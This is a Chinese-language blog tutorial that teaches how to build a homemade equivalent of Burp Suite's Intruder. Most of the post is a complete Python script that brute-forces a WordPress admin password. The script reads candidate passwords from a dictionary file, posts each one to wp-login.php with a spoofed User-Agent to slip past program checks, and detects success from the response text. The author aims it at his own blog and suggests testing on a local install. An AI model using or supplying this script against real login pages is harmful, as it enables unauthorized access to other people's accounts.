前言
BurpSuite大家应该都用过吧,里面有个Inteuder模块,是用来爆破网站后台密码的,那么这个模块是如何实现的呢?接下来这篇文章就教你写属于自己的Intruder工具
处理流程
简析流程
- 首先,我们确定自己的目的是什么,爆破出一个网站后台的登陆密码。
- 然后我们要分析后台的登陆流程,是否有验证码,是否有隐藏参数传递等
- 这里的后台是我的博客,基于wordpress,一般默认无验证码,只需要输入post的账号和密码就好
- 然后我们就构造post参数,从一个本地的pwd.txt(字典文件)读取密码,不断的加入到post的密码参数里面,试图去登陆
- 登陆成功后302自动跳转到我们的后台页面
- 这时我们可以用登陆成功后页面内容来判断,也可用其他,没成功就说明字典不给力,或者管理者密码比较强大
代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| # -*- coding: utf-8 -*- ''' Program:WordPress后台登陆 Function:读取字典逐个登陆Wordpress后台,在知道用户名的情况下,可用来爆破登陆密码 Version:Python3.6 Time:2017/10/25 Author:Walks 个人博客:http://www.bywalks.com ''' #导入requests库,跟2.x的urllib2和3.x的urllib.request差不多的功能,不过好像更强大 import requests #登陆后台 url = 'http://www.bywalks.com/wp-login.php' #HTTP的header头,添加个user-agent,有的网站会从User-Agent来判断是否是程序访问 #如果是程序访问则不允许,添加个user-agent就是欺骗这种防护 #在这里的后台wordpress好像不用加 headers = {'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'} #访问也米欧庵后,保留cookie s = requests.Session() #加个headers s.headers.update(headers) #防止报错代码 try: #打开pwd.txt with open('pwd.txt','r') as f: #逐行访问并且尝试 for pwd in f: #去除每行的\n,当你读取一行时,如果用二进制显示,会发现每行都有个\n pwd = pwd.replace('\n','') #print(pwd) #构造post数据,log=username,pwd=password data = { "log":"XXX", "pwd":pwd, "rememberme":"forever" } #尝试登陆 req = s.post(url,data = data) print(req.status_code) #通过某些特征判断是否登陆成功 if '欢迎使用WordPress' in req.text: print('爆破成功,密码为:'+pwd) break #如果出错,输出具体错误 except requests.RequestException as e: print(e)
|
成功图
大家如果想找环境测试的话可以本地搭建个wordpress,这里我测试的是我的博客后台,我加了验证码,所以大家弄我的肯定是没用的。
下篇的话给大家写个带验证码识别流程的
Author:
Bywalks
Permalink:
http://bywalks.com/2017/10/27/python3-study-09/
License:
Copyright (c) 2022 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY?